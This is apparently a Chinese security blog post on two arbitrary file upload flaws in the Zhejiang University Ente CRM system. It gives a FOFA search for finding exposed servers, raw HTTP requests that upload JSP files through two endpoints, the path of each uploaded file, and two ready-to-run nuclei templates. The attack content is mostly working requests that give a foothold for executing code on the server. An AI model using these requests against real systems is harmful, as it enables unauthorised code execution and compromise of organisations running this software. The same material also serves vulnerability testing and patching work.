**恩特客户资源管理系统的两个任意文件文件上传漏洞(附nuclei POC)

一、免责声明：

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二、产品介绍：

三、资产梳理：

FOFA：app="浙大恩特客户资源管理系统"

四、漏洞复现：

1、fileupload.jsp接口任意文件上传：

POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=66.jsp HTTP/1.1Host: ipUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 27<%out.println("10086");%>

文件地址：http://ip/enterdoc/uploadfile/66.jsp

2、CustomerAction.entphone;.js 接口任意文件上传：

POST /entsoft/CustomerAction.entphone;.js?method=loadFile HTTP/1.1Host: ipUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=7156f34e06f36e167731742107ac55f3Content-Length: 197--7156f34e06f36e167731742107ac55f3Content-Disposition: form-data; name="file"; filename="506891.jsp"Content-Type: image/jpeg<%out.print("hello");%>--7156f34e06f36e167731742107ac55f3--

文件地址：http://ip/filepath

五、NUCLEI POC：

1、fileupload.jsp接口任意文件上传：

id: files_uploadinfo:  name: files_upload  author: joyboy  severity: critical  description: http://xxx.xxx.xxx/entsoft_en/entereditor/jsp/fileupload.jsp?filename=66.jsp  metadata:    max-request: 1    fofa-query: title="欢迎使用浙大恩特客户资源管理系统"    verified: true  tags: uploadfilerequests:  - raw:      - |-        POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=66.jsp HTTP/1.1        Host: {{Hostname}}        Content-Type: application/x-www-form-urlencoded        Accept-Encoding: gzip, deflate        Accept-Language: zh-CN,zh;q=0.9        Content-Length: 805        <%out.println("10086");%>      - |+        GET /enterdoc/uploadfile/66.jsp HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36    req-condition: true    matchers:      - type: dsl        condition: and        dsl:          - 'contains((body_2), "10086") && status_code_2 == 200'

2、CustomerAction.entphone;.js 接口任意文件上传：

id: files_uploadinfo:  name: files_upload  author: joyboy  severity: critical  description: http://xxx.xxx.xxx/entsoft/CustomerAction.entphone;.js?method=loadFile  metadata:    max-request: 1    fofa-query: title="欢迎使用浙大恩特客户资源管理系统"    verified: true  tags: uploadfilerequests:  - raw:      - |-        POST /entsoft/CustomerAction.entphone;.js?method=loadFile HTTP/1.1        Host: {{Hostname}}        Content-Type: multipart/form-data; boundary=7156f34e06f36e167731742107ac55f3        --7156f34e06f36e167731742107ac55f3        Content-Disposition: form-data; name="file"; filename="506891.jsp"        Content-Type: image/jpeg        <%out.print("802824449");%>        --7156f34e06f36e167731742107ac55f3--    req-condition: true    matchers:      - type: dsl        condition: and        dsl:          - 'contains((body), "filepath") && status_code == 200'